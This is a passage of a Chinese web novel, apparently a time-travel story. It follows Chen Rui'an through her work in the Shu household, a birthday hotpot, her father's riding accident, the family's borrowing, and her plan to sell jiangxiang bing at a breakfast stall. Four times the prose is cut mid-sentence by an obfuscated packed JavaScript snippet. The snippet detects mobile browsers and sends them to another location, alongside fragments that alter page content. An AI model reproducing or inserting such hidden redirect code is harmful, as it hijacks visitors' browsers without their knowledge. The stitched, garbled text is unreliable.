舒小姐也发现了他，喊道：“爹爹，你看我教姐姐写的字！” 舒先生背着手不说话，看看陈瑞安面前的字，又翻了翻舒小姐的几张字。 陈瑞安有种被班主任抓包玩手机的紧张。 不过，舒先生似乎没有分毫不高兴，反而笑道：“《礼记》里说：‘学然后知不足，教然后知困。’教学相长，说得真是有道理。青青这一下午的长进，抵得上从前半个月了。” 陈瑞安松了一口气。 舒先生给舒小姐的大字上画了几个圈，表示这几个字写得好，又指出几个不好的字，给舒小姐大致讲解了一番，就放她出去玩了。放下笔，他对陈瑞安道：“你到书房来，我有话同你说。” “到书房来”跟“到办公室来”有什么区别！上辈子这辈子加起来，已经有近二十年没有上过学的陈瑞安，听见这熟悉的句式，还是情不自禁地打了个哆嗦。 到了书房，舒先生首先从柜子里找出两贯钱，放到陈瑞安面前。看见陈瑞安惊讶的表情，他说：“最近粮价飞涨，家家都过得艰难。我没猜错的话，你也是因为这个，才出来工作的吧？” 陈瑞安点点头。 舒先生接着说：“既然急用，这个月的月钱，你就先拿去，等将来粮价降下来，日子好过了，再改回月底发放。” 这笔钱的确可解燃眉之急，陈瑞安千恩万谢地接过了。 舒先生又道：“看来青青很喜欢你，多谢。我看今天青青教你写字，于她的功课大有助益，此法甚好，往后你带她做功课，也可以这样。她小孩子说话，有时前言不搭后语，辛苦你耐心些。她有什么做得不对的，你也不必顾虑，该骂就骂，这是为她好。” 两人又聊了聊舒小姐白天的表现，相互交流了一些对付她的心得。汇报完工作，一天的工作正式结束，陈瑞安下班了。 走到外院，刘婶拦住她，递给她一包油纸包着的东西：“这是舒先生带回来的，说给你和小姐一人一包。” 陈瑞安打开油纸包一看，竟是一小包炸麻花！ 炸麻花不仅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117781|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要用精面粉，而且十分费油，从前粮价低的时候，陈家尚且舍不得常常吃，如今更是吃不起了。 有钱又有吃，一天的疲惫在此刻一扫而空。陈瑞安揣着钱、捧着麻花，高高兴兴回家了。 回到家，陈瑞安第一件事是把油纸包送到张金花眼前：“给你带好吃的回来了！” 张金花接过油纸包，打开看了一眼：“哟，麻花！哪儿来的？” “舒先生给舒小姐买的，给我多带了一份。你也吃。” 张金花道：“连吃带拿的，合适吗？” 陈瑞安拣了一根碎的，丢进嘴里：“有什么不合适的，又不是天天都有。” 啊，是油炸的香气！麻花出炉不久，还热乎着，吃起来焦脆酥香，最近营养不良的陈瑞安感到十分幸福。 张金花放下手里的活儿，把陈瑞平和陈家奶奶都叫来，一家人围着餐桌吃麻花。 刚从衙门下班回来的陈瑞平“咔嚓”咬了一口，发出满足的叹息：“好久没吃麻花了，真香啊。” 奶奶牙口很好，吃个麻花不在话下。她尝了一根，马上断定：“这是东街北头那家的麻花。他们家的麻花是祖传的手艺，加了秘制的五香粉和芝麻，几十年了，一直是这个味道。” 张金花也爱吃麻花，边嚼边问：“怎么样，工作累不累？” 陈瑞安其实有些累，但不愿报忧，只说：“带一个那么大的小女孩，有什么可累的？早上吃了白粥和胡饼，中午饭桌上还有一道炒肉片，吃得我浑身是劲儿。” 张金花问：“你吃饭是和主人家一起呢，还是和他们家那个老妈子一起呢？” 陈瑞安如实答：“早上是我和舒小姐一起吃；中午有舒夫人、舒小姐、他们家的刘婶，还有我，四个人一桌吃饭，吃的都是一样的东西。舒夫人又漂亮，又温柔，还让我管她叫伯母呢。舒小姐也听话，一直叫我姐姐。” 张金花放心了些：“那就好。” “舒小姐还教我写字呢。”陈瑞安回想起下午的经历，“舒先生回来看见了，说特别好，教了我，舒小姐进步快多了，让我们以后都这么学。” “这么好！学写字好啊，写字有用。这么看来，先前我拦着不让你去，倒是险些耽误了你。”张金花感叹道。 “对了，”陈瑞安掏出怀里的钱，推给张金花，“舒先生说知道我们日子艰难，主动把这个月的月钱提前支给我。” 张金花感激得不知怎么是好：“舒先生是我们家的恩人哪。” 奶奶表示同意，陈瑞平也说，舒先生人一直很好，从前交不起束脩的同学，舒先生都会暗地里减免。 张金花把钱拨出来一部分，道：“这些钱，你拿去买一些纸和墨，带到舒先生家里用。这些都是金贵东西，舒先生大方，我们不能不知道分寸。还有这些，给你零花用，平时买些零食点心，别舍不得。” 陈瑞安正要推拒，忽然听见有人在门口喊：“金花婶，奶奶，瑞平哥，小安。”一看，竟是阿亭来了。 阿亭道：“小安，昨日你教给我卖豆腐的法子，我都告诉了我娘。我娘说，多亏了你的办法，今日的豆腐特别好卖，走了两条街就卖完了，明日多做些，还能多卖。正好还剩下半块豆腐，我娘叫我拿来谢你。” 刚吃了麻花，晚上还能吃上豆腐。陈瑞安心想，果然，美好的生活还是要靠劳动来创造啊！ 8. 飞来横祸 暑往寒来，不知不觉，距离陈瑞安来到舒家，竟已过去了一年多。 已经十四岁的陈瑞安又长高了一大截，身材颀长，比同龄的女孩子都要高。她坐在柴火灶边烤火边嗑着瓜子，两条腿长得无处安放，只好蜷缩在椅子下面。 刘婶挥着锅铲，手忙脚乱地喊她：“你别光顾着吃了，快来帮我看看，你说的那个劳什子菌菇汤底，到底是怎么做？” 陈瑞安拍拍手站起来：“就把东西都下进去呀，那有什么难的？” 香菇、羊肚菌、竹荪、茶树菇、虫草这些干货，都提前泡在一个小盆里。陈瑞安把盆递给刘婶：“下进去就行。” 刘婶接过盆，把里面的菌菇都捞出来铺在铜火锅的锅底，顺手就要把盆里剩的水倒进泔水桶。 陈瑞安赶紧拦住：“别倒了呀！香味可都在这汤里呢，倒了多可惜。算了算了，我来吧，你去切肉。” 刘婶如释重负，赶紧把烂摊子丢给陈瑞安，埋怨道：“你一天到晚撺掇着青青吃这吃那，撺掇完就甩给我，管杀不管埋的。我一把老骨头了，哪里做得来你那些新鲜东西！” “快呸呸呸，摸木头，今天是青青过生辰，说什么杀呀埋呀的，多不吉利。”陈瑞安往铜火锅里投了些葱、姜、红枣、虾皮，又转过头嘱咐刘婶，“牛肉要切得薄薄的，跟纸片一样；虾弄得干干净净的，只留虾仁，一会儿涮着吃。” 刘婶最疼舒小姐，自己也觉得失言，赶紧摸了摸木头砧板，但犹嫌她事多：“我要是有把牛肉切成纸片的本事，我也不在这里给你们做老妈子，早上酒楼当大厨去了！” 陈瑞安赶紧哄哄刘婶：“刘婶的手艺，比喜来酒楼的大厨可强多了！小时候，我爹在那里请人谈事情，给我打包了剩菜回来，我记得牢牢的，绝对没有刘婶做的饭好吃。”喜来酒楼是河头县生意最好的酒楼，河头县的人要请客吃饭，去喜来酒楼是最挑不出错的。 这一番马屁听得刘婶十分受用，怨气一下子消了一半。她大半辈子都耗在厨房里，最得意的就是一手好厨艺。她问陈瑞安：“对了，今年过年，你爹回来吧？” “回呀。”陈瑞安小心翼翼地把提前剁好的半只鸡摆进铜火锅里，最后把泡菌菇的水一股脑倒进去，“上个月就寄信回来了，说今年要比往年回来得早，兴许比我放元日假还早些呢。” 刘婶道：“如今你爷爷走了，你家里负担也轻了，是不必这么奔波地赚钱了。要我说，你回去劝劝你娘，把你爹留下来，过完年也不必走了，往后就在家门口做些小生意。你们一家人团团圆圆的，那才叫好日子呢！” 陈瑞安不语。 今年年初，陈家爷爷过世，一家人都很淡然。爷爷虽然卧床多年，但身上连一个褥疮也不曾生，床铺也总是干干净净的，走得体面，算是善终了。为了陈家爷爷的病，爹、娘、奶奶，所有人都付出良多。爷爷丧礼时，奶奶就曾劝张金花，干脆把爹留下来，不要再出去了，但不知为何，丧礼过后，爹还是走了。陈瑞安悄悄猜测，爹娘虽是老夫老妻，但相处的日子却屈指可数，娘独自生活惯了，大约有些踌躇吧。 两人说着闲话，陈瑞安陆陆续续又往火锅里加了萝卜、红枣，最后撒了些枸杞和盐，就可以端上桌了。 刘婶道：“这些我来，你去叫青青和阿瑜吃饭。” 一年多过去，舒小姐长高了不少，性子也沉稳了许多。如今，她不再整日都闹着要玩，反倒爱独自待在屋里看书。舒夫人孙阿瑜，经过长时间的修养，身子竟也慢慢好起来，只是如今寒冬腊月，总要分外小心，因此她还是在房中绣花打发日子。 四人围坐桌前，桌上摆着的铜火锅冒着白茫茫的蒸气，角落里还烧着炭盆。外面还下着雪，这里却十分温暖。 吃饭之前，陈瑞安向孙阿瑜笑道：“伯母，今天青青过生辰，您讲两句。” 孙阿瑜想了想，揽着舒小姐，道：“青青她爹管青青读书管得严，是希望她多懂些圣贤道理，要她有智慧。我有时看着心疼，总担心太拘束了她。其实，我没什么大的志向，只希望青青能平安喜乐、一生无忧，这就是最大的福气了。” 舒小姐听了，紧紧抱住孙阿瑜，道：“娘亲也一样。” 陈瑞安接着道：“那我就祝青青：年年有今日，岁岁有今朝。”说着，从背后掏出一本书，递到舒小姐的手上，“这是我给你准备的生辰礼，一本《徐霞客游记》。” 舒小姐在其他书里听说有这本书，一直想读，同陈瑞安提过一次，陈瑞安有心记下了。果不其然，这份礼物送到了舒小姐的心坎里，她高兴地说：“谢谢姐姐！这是我收过最好的生辰礼！” 刘婶道：“我粗人一个，别的话我也不会说，我只希望青青身体健康，壮壮实实的，要是能多吃点饭，那就是更好的孩子了。” 舒小姐给说得有些不好意思，两只手捧着脸。她有些挑食，刘婶没少为此操心，大家见她表情，都被逗笑了。 刘婶蒸了一盘雪白的大米发糕，上面点缀着几片红枣，同雪中红梅一般，又应景又好看。陈瑞安将发糕挪到舒小姐面前，又小心翼翼地在旁边点上一支红蜡烛，权把发糕作生日蛋糕，柔声向舒小姐道：“来，许个愿吧。” 舒小姐闭上眼睛，双手合十，虔诚地许着愿，几人同去年一样，齐声唱着陈瑞安教的《生日歌》。 待吹完蜡烛、分过发糕，终于可以开始吃火锅了。平日里，陈瑞安常常念叨火锅的妙处，舒小姐一直十分好奇，只是刘婶总嫌麻烦，不肯做。今日趁她生辰，终于得以一饱口福。 装了菌汤锅底的铜火锅咕嘟咕嘟冒着泡，鲜香四溢。周围摆了满满一桌的配菜，荤菜有切得薄薄的牛肉片、新鲜的大虾仁，还有陈瑞安前两天教刘婶提前做出来的鱼丸；素菜有娃娃菜、豆芽、豆腐、豆腐皮，还有刘婶亲自做的手擀面。 陈瑞安拿起一只小碗，熟稔地用麻酱、香油、小葱和芝麻替舒小姐调了一碟蘸料，介绍道：“肥牛片容易熟，涮一涮就能吃。像我这样，拿筷子夹着放进锅里，数二十五下。一、二……二十五，好了，看见肥牛已经完全变色，就可以吃了。捞出来放在蘸料里，这样蘸一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117782|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——青青，尝尝看。” 舒小姐把牛肉吃进嘴里，眼睛瞬间亮起来，惊喜道：“这个牛肉好嫩啊！虽然上面带着肥肉，可吃着一点儿也不腻。这个蘸料也很好吃，特别香。” “鱼丸和虾仁要多煮一会儿，要煮大约半刻钟。”趁着煮鱼丸和虾的功夫，陈瑞安又替孙阿瑜调蘸料。孙阿瑜是病人，有忌口，吃得清淡，陈瑞安贴心地替她舀了两大勺菌菇汤底，然后加入少量生抽、蒜蓉、葱、香油，搅拌均匀。 孙阿瑜尝过刘婶做的鱼丸，喜欢它嫩滑的口感。她夹了一个鱼丸，放进调好的蘸料里涮了涮，咬了一口，点头赞道：“这个汤底好，浓郁醇厚，有菌菇的鲜香。鱼丸这么吃，比直接吃更美味几分。” 刘婶口味重，爱吃酸辣口味，她以辣椒油和醋为主，自己调了一个蘸料，涮了一个虾仁吃：“好吃！主要是我这个蘸料调得好，够味儿。这个吃法很好，各人都能吃到自己喜欢的口味，往后咱们也可以这么吃。” 众人一边吃着火锅，一边说着话，火锅里的食材翻滚着，香气弥漫在整个屋子里。屋内暖意融融，欢声笑语不断，与窗外的冰天雪地对比鲜明。 舒小姐道：“多谢刘婶和姐姐，你们为了这顿火锅，忙前忙后的，辛苦了。今日是我过得最开心的一个生辰。” 刘婶有些动情，眼中泛着泪光，摆摆手道：“哎呀，说啥呢！我说句大不敬的话，我在舒家待了这么多年，早把自己看作舒家人，对你们就好比亲人一样。能照顾你们日常生活，其实我心里特别满足。” 孙阿瑜赶紧说：“我也是这样想。青青的亲奶奶走得早，刘婶疼青青，同亲孙女也没有分别了。” 这时，下到锅里的手擀面煮好了，陈瑞安用漏勺捞起，均匀地分给众人。 陈瑞安吃了一口热乎乎的面条，不禁感慨：“能这般舒舒服服地吃上一顿火锅，做神仙也不过如此了。” 酒足饭饱之后，刘婶起身收拾碗筷，舒小姐起身帮忙。陈瑞安也没闲着，帮忙端铜火锅、擦桌子。不一会儿，屋子又恢复了整洁。 几人坐在窗边看着雪，享受这片刻的宁静。 忽然，大门外传来一阵急促的叩门声。刘婶独自在外院，听见声音，感到纳闷。这个时间，舒先生还没散学，佃户交租的时间也还没到，会是谁来呢？她从厨房出来，一边去开门，一边喊着：“谁呀？” 陈瑞安在内院，还以为是舒先生提前回来了。只远远听见刘婶同叩门的人低声说了几句，然后刘婶从那扇连接内外院的梅花窗里探出脑袋，朝陈瑞安喊道：“找你的！” 陈瑞安很诧异：“找我？谁会来这里找我？”她赶去门口，门外站着的竟是大顺。 大顺如今已经不上学了，在家里跟着他父亲学木匠。 大顺显然是跑过来的，天气这样冷，他额头上竟满满的都是汗。他大喘着气，神色慌张，陈瑞安看得心里莫名有些发慌，她问道：“大顺？你来这里做什么？发生什么事了吗？” 大顺道：“小安，不好了，你快回家。你爹出事了！” 9. 借钱 陈瑞安心急如焚，一路飞奔回家。雪天的路分外滑，她在途中不小心摔了好几跤，也咬牙忍痛赶紧爬了起来，继续往家跑。 哥哥陈瑞平已经先一步到家了。哥哥，娘，奶奶三人，围坐在饭桌前，每个人的脸上都如笼着一层愁云，分外沉重。 见陈瑞安回来了，哥哥陈瑞平上前扶住她的肩膀，安慰道：“小安，你先别急，一定会有办法的。” 陈瑞安如何能不急？她用颤抖的声音问陈瑞平：“爹现在在哪儿？” 陈瑞平道：“二伯说，他们想办法把爹抬到了一个最近的农户家，给了那户人家一些钱，爹如今就在那里。只是那地方离家不算近，就算骑马，单程也要走两天，若要把爹接回家，只怕多有不便。”二伯是陈家爷爷的堂弟，爹一直跟着他做生意。 陈瑞安带着哭腔说：“那怎么行？凭他怎么不方便，也一定得尽快把爹接回来呀。总不能把爹留在外头吧？” 陈瑞平连连点头，道：“是，没错，我们在想办法了，无论如何也会把爹接回来的。实在不行，就让爹暂且留在那儿，我们派一个人过去。” 陈瑞安道：“就过去一个人怎么行？那爹该多孤单啊。” 张金花道：“小安说得对，这种时候，还是要人多才行，人多力量大。只凭一个人，是支撑不住的。”她的眼睛红肿得如两个大桃核，显然是哭过一轮了。 “没错，”陈瑞安抹了把眼泪，“爹为我们这个家付出了那么多，一定要热热闹闹的。” 陈瑞平顿了一下，道：“热不热闹的，倒是其次。” “怎么就其次了？”陈瑞安急得拿拳头捶他，“陈瑞平，你摸摸你的良心再说这话。爹为了我们这一家子，在外面奔波了半辈子。临到这时候了，难道就要省这一点钱？” 奶奶附和道：“不省钱，不省钱！越是这种时候，越不能省钱，再多的钱也比不上人重要！” 陈瑞安道：“是呀，一定要让爹落叶归根，要大操大办才行！” 陈瑞平愣住了：“大操大办什么？” 陈瑞安也愣住了。 难道爹没死？ 合着两个人在这儿聊了半天，全是鸡同鸭讲！ 两人隐约都猜到这是闹了个大误会，只是这误会实在不大吉利，两人大眼瞪小眼，都不敢说出口。 尴尬在空气中蔓延。 陈瑞安鼓起勇气，打破了这该死的沉默：“爹……爹到底怎么了？” 陈瑞平表情还呆呆的：“爹在回来的路上，从马上摔下来了，郎中去看过，说是把尾闾骨和一条腿摔折了。” 陈瑞安：“……” 原来这就是破窗效应吗？听起来好像一点儿也不严重呢。 张金花忽地破涕为笑，笑出声来，大家也都忍不住跟着笑了。 奶奶把陈瑞安揽过来，搂着她，道：“就该这样。生死以外无大事，只要人还在，有什么事情是过不去的呢？” 哭过笑过，一家人终于整整齐齐坐下来，开始讨论爹的事情该如何处置。 二伯来报信，是张金花接待的，因此张金花先向大家转达了爹的情况：“你们爹如今在虎山县。他是因为骑着马，马忽然受惊，才摔下来的。因为马当时跑得很快，他被远远甩到路边，从坡上滑了下去。” “唉哟，可别摔出什么内伤吧？”奶奶有些后怕。皆因阿亭她爹当年就是如此，采菌子的时候从山上摔下来，当时好好的，还能自己走回家，结果第二天忽然就发病，郎中说已经救不回来了。 张金花道：“郎中说，五脏六腑皆无损伤，实在万幸。只是这一跤摔得太狠，腿摔得倒轻，只是尾闾骨折得十分严重。他已经给你们爹把骨头复了位，又用杉木皮固定了伤处，只要修养得当，将来走路跑跳，都没有问题。只有一样，在郎中说可以自由活动之前，既不能久坐、也不能久站，须得卧床修养，除了解手吃饭，轻易不能下地走动。” “没有后遗症，自己能解手吃饭，那就还算好办。”陈瑞安松了一口气。 陈瑞平点点头：“如今最大的问题，就是怎么把爹给接回来。爹既然不能久坐，首先就不能骑马，也坐不了马车；而且沿途颠簸，恐怕不利于爹的伤情。” “用牛拉的板车呢？板车的空间大，应该可以躺下一个人。如果能趴着，颠簸些也不影响。”陈瑞安帮着出主意。 “我也想到了。但是你看——”陈瑞平指指窗外，“还下着这么大的雪呢。板车没有顶，坐着板车在这样的天里走，人是会冻坏的。” 想来想去，也想不出个所以然来。 陈瑞安灵机一动：“我听说，郡城的富人和高门大户，会坐一种用两匹马拉的大马车，那马车十分宽敞，垫块木板，想必可以躺下一个人。” “两匹马和大马车……太贵了吧？我也不会骑马，这种天气，恐怕马夫也难找，又是一笔开支。我去那里赁间屋子，等到爹恢复了再回来，兴许还便宜些。” 张金花道：“别考虑钱的事。且不说你有衙门的差事走不开，要照顾病人，一个人也不够用。我看这个主意可行，你二伯与车行相熟，找他去租车马，还能便宜一些。” 几人又合计半天，完善了路线日程等细节，觉得可行。 张金花道：“瑞平，你去郡城找你二伯，请他帮着找车马和马夫。这趟恐怕要花不少钱，我把家里的积蓄都取给你，再找亲戚们借一点。你也找二伯借一些，二伯家底比我们家厚，又同你爹亲热，你说些好话。穷家富路，出门在外，钱要带足。” 如今已是下午，河头县离郡城虽近，来回也要小半天了。陈瑞平怕晚了来不及，即刻便出发了。 张金花道：“小安，我出去借钱，你在家陪着奶奶。” 陈瑞安忙道：“我也去。” 奶奶怕张金花不认识家里那些亲戚，也要去，张金花硬拦下来：“外面下着雪呢，孩子们的爹还在外头，倘若您再摔坏了，我们怎么办？您安心在家等消息就是。” 张金花与陈瑞安盘算了有几门还算亲近的亲戚，决定分头行动。 陈瑞安跑完自己的这几家，想了想，估摸着舒先生这会儿已经散学，又到舒家找了舒先生，预支了三个月的月钱。舒先生听闻陈家的状况，十分关切，要陈瑞安不急着来上班，先处理好家里的事情再说，陈瑞安自是千恩万谢不提。 第二天一早，陈瑞平揣着沉甸甸的钱袋子出门了。 陈瑞安买了许多胡饼，给哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117783|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥和马夫做干粮。她把装着胡饼的包袱挂在陈瑞平肩上，叮嘱他：“省着些吃。过了青石桥，人家就渐渐少了，你们走快些，一定赶在天黑前落脚。” 陈瑞平应了，上了车，马夫鞭子一甩，车轮碾着咯吱作响的雪，渐渐走远了。 陈瑞安和张金花目送车子走远后，回了家，良久无言。 半晌，陈瑞安叹口气，向张金花道：“娘，算笔账吧，咱们如今欠了多少钱？” 张金花道：“小孩子家家，这不是你该操心的事情。” “我不小了，”陈瑞安道，“你别总想着自己一个人扛，咱们是一家人，有什么事情，总得大家在一起想办法。” 张金花不识字，陈瑞安找了纸笔出来，道：“你说说，我来算。” “你二伯借了我们十两，三伯借了二两，你小爷爷一两……” 陈瑞安一一记下来：“……一共十四两二贯钱，不算多。” 张金花叹了口气：“这一年多好不容易攒了些钱，如今又全部搭进去了。” 陈瑞安知道娘的意思。虽然欠的债不算多，但爹一卧床，家里就失去了最主要的经济来源。 瑞平瑞安两兄妹，加起来一个月能挣五贯钱，管一家人的吃穿用度倒是够了，可是爹一回来，要看郎中、要吃药，靠这点钱，是一定不够的。奶奶年纪大了，要照顾一个病人尚且不易，更别提家中的家务活，因此，张金花也腾不出手来出去找活儿干。 等把爹接回来，恐怕，将来还得接着借钱。 手心向上地讨生活，谈何容易啊！ 陈瑞安安慰娘：“会有办法的。钱嘛，无非就是开源节流。咱们勒紧裤腰带，过俭省些；再想想办法，看从哪儿能赚点钱。” 张金花又叹了口气：“挣钱哪有那么容易！” 陈瑞安道：“但也没有那么难。” 张金花挑眉看她：“你还真了不得，怎么到你嘴里，挣钱好像就是嘴皮子上下一翻的事儿似的。” 陈瑞安笑道：“嘴皮子一翻谈不上。但是么，挣钱的本质，就是用劳动换取报酬。只要肯付出劳动，自然就能赚到钱。” 张金花不认同地摇摇头：“你还是年纪小，想得太简单了。多少人起早贪黑地忙，还是穷得吃不上饭。能赚钱的劳动，都被人家攥在手里呢，好比东街北头那家的麻花，他们家做麻花的手艺是一辈一辈传下来的。别人学着他们家卖麻花，做出来不好吃，不还是赚不到钱，灰溜溜地走了么？” “那是因为他们的麻花不仅不好吃，还跟东街北头那家卖一个价呀。”陈瑞安头头是道地分析，“如果他们卖得便宜个二三成，自然就有贪便宜的人去买他们的麻花了。” “东街北头那家的麻花卖得本来就不贵，再便宜，岂不是要亏钱？” “关键就在这里！”陈瑞安道，“东西要卖出去，要么品质足够好，要么价钱足够低。在麻花这个市场，有又好吃又便宜的竞争对手，他们当然干不过。他们赚不到钱，是因为从一开始，赛道就没有选对！” 张金花眉毛挑得更高了：“那你说，你觉得哪里能挣钱？” 陈瑞安其实心里早已有了主意。 “我想好了，我们可以卖早点。” 10. 做奸商的潜质 前世，陈瑞安家里就是开早点店的。 陈瑞安的亲爸妈说过，在所有生意里，卖早点是最投入小、风险低、回报高的一样，只要肯吃苦，就能赚到钱。 吃苦是真的吃苦。 在还没有预制菜的年代，每天凌晨两点多就得起床，揉面、剁馅、包包子、蒸包子；六点做完，拉起门开始售卖，下一锅也得预备着蒸上；七八点早高峰，客人源源不断地来，夫妻俩忙得脚不沾地；一直卖到十点，这还不算完，后厨还有一堆烂摊子等着收拾呢。手脚麻利的话，中午能睡个午觉，但下午就别想着休息了，还要进货、备菜，为明天的工作做准备。一年四季，风雨无阻，更无节假日可言。 当时，陈瑞安早上上学前，爸妈忙着应付客人，话都说不上一句，更别提接送了；晚上放学回家，匆匆忙忙吃过晚饭，爸妈就得抓紧上床睡觉。她总恍惚觉得，比起父母，他们更像她的房东。 赚钱也是真的赚钱。 开业时，爸妈把厂里给的下岗补贴全投进去，买了设备、租了店面，手上已经不剩一点余钱。短短五年后，他们就自己买下了两间店面，雇了三四个帮工，翻身当上了老板。再二十年后，他们全款给小儿子——也就是陈瑞安的弟弟，在京城买了一套两居室老破小。 往事总是令人怅然，陈瑞安摇摇头，决定不再回忆自己如同外人的那个家，而是着眼当下，好好想想怎么通过卖早点赚到钱。 首先，陈瑞安决定把目标客群定位为河头县的平民百姓，因为这个市场足够大，陈家这个初出茅庐的小早点摊能从中分一杯羹的可能性就更高。 平民百姓爱吃什么早点？碳水、碳水、碳水！ 对碳水的偏爱，是劳动人民几千年的生存智慧。 在没有冰箱等的时代，五谷杂粮最易储存，选择这些，可以不必大清早就出门买菜买肉。 吃饱饭才有力气干活，这些主食也能提供足够的能量，以支撑人们整个上午的体力劳作。 北方有面茶、大碴子粥，南方有肠粉、糍粑，从重庆小面到武汉热干面，从天津煎饼果子到上海粢饭团，都是从碳水这一基础食材上开出的花朵，都是普罗大众在果腹之上对美食的追求和探索。 河头县的人早饭爱吃什么？胡饼、白粥、馄饨、包子、煎饺……这些陈瑞安都不打算做。 这些常见的食物，大街上比比皆是，有些甚至是已经传了好几代、卖了上百年的配方，大家根据个人口味，早已有了自己的购买习惯，又凭什么选择光顾这个新冒出的小摊呢？ 陈瑞安决定发挥自己穿越者的优势，带河头县的百姓见识见识新的美食——酱香饼。 虽然穿越前经常在家里的早点店帮忙做酱香饼，但古代毕竟食材有限，缺少番茄酱等原材料，陈瑞安打算先在家里试试手。 一勺黄豆酱、两勺豆瓣酱、一勺甜面酱，倒入碗中，再加入半勺辣椒面、半勺五香粉、两勺白糖，倒入小半碗水搅匀。陈瑞安特意多放了一些白糖，来弥补番茄酱带来的甜味。 半个白葱头和大蒜切成末，下油锅爆香，然后加入刚刚挑好的料汁，翻炒至浓稠，盛出备用。 面粉分成两份，小份放进碗里，用来做油酥。与面粉等量的菜籽油下锅烧热，拿铁勺舀出，趁热浇在面粉上，用一双木筷搅拌均匀，油酥就做好了。油酥是酱香饼层层叠叠、外脆里软的秘诀，分层不好的酱香饼，吃起来总是差点儿意思。 如今虽然粮价降下来了，不必如去年一般顿顿吃红薯粗粮，但为了尽量节约成本，陈瑞安特地掺入了一些没有去掉麸皮而磨制的全麦面粉。 像酱香饼这种调味的存在感更强的食物，口感上就可以朴素一些，部分全麦粉的参与不会太影响酱香饼的味道，反倒可以为其增添一些粗粮的质朴风味。 面团要用半烫面的手法，一半开水揉面、一半凉水揉面，这样做出来的饼即使凉了也不会硬。面团里也要淋入少量油，煎出来的饼会更软。 醒好的面团分成合适大小的剂子，一个剂子能做一张饼。 取一个剂子，擀成薄片，用刷子沾上油酥，在上面薄薄刷一层。刷好后，用刀把面沿“米”字形切开，留中间的圆心不切断。然后，把切出来的面片向圆心折叠、包裹起来。 把包裹起来的面团再次擀成薄片，锅中刷油，入锅小火煎至两面金黄，面饼的部分就做好了。 把面饼摊在砧板上，厚厚地刷上一层刚刚调好的酱汁，撒上葱花和白芝麻，切成小块，馋哭隔壁小孩的酱香饼就做好啦！ 陈瑞安递了一片给张金花：“娘，你尝尝。” 张金花还从来没有见过长这样的煎饼。 她好奇地观察着手里的饼，层次分明，有点像店里卖的酥皮点心，但是比酥皮点心湿润而柔软；因为加了全麦粉，饼体黄中泛些灰，看起来同寻常胡饼差不多，但刷了酱的部分色彩十分明亮，又因点缀了白芝麻和葱花，看起来十分诱人。 张金花试探性地把饼送进嘴里，浓郁醇厚的酱香立即在口腔中弥漫开来，咸香中带着微微的甜，还有一丝似有似无的辣。那酱香不同寻常酱料，口味十分丰满而富有层次，回味悠长，使人欲罢不能。 而被酱料包裹的面饼，外层微微酥脆，上层面皮被酱料泡软后格外美味；内层的面饼柔软而有韧性，层次丰富，吃起来齿颊生香。 张金花不禁又把手伸向酱香饼，连着吃了一个又一个。 陈瑞安也尝了尝，没有番茄酱的酱香饼，咸香味更加突出，依然很好吃。而且加了全麦粉的酱香饼，变得更加有嚼劲了，并没有减分。 陈瑞安对自己的劳动成果很满意，问张金花：“怎么样？” 张金花发觉自己吃得停不下来，简直有些上瘾了，惊奇道：“你在哪儿学的这个东西？” 陈瑞安胡诌道：“跟刘婶学的，我自己琢磨着改良了一下。” “刘婶有这个手艺，自己开店也使得！”张金花咂舌道，“你拿这个出去卖，记得先问问刘婶，她同意了才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117784|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行。这饼也太香了，一片接着一片，跟把人的魂勾走了似的。” 陈瑞安含糊应了。 张金花问道：“你打算卖多少钱？饼的部分倒还便宜，只是酱料有些贵。” “胡饼和素包子都是两文一个，肉包子三文一个。包子个儿小，胡饼个儿大，一个女人能吃一个胡饼或者两个包子，一个男人能吃两三个胡饼甚至更多。所以，女人一般花两到六文吃一顿早饭，男人要花六文以上。” 陈瑞安早已想好了，她拿菜刀从砧板上分出一堆饼来，道：“中份，这么多，够一个女人吃的，卖四文。” 张金花“哟”了一声，道：“还挺便宜。不过我怎么感觉，一个女人吃得要比这多一些。” 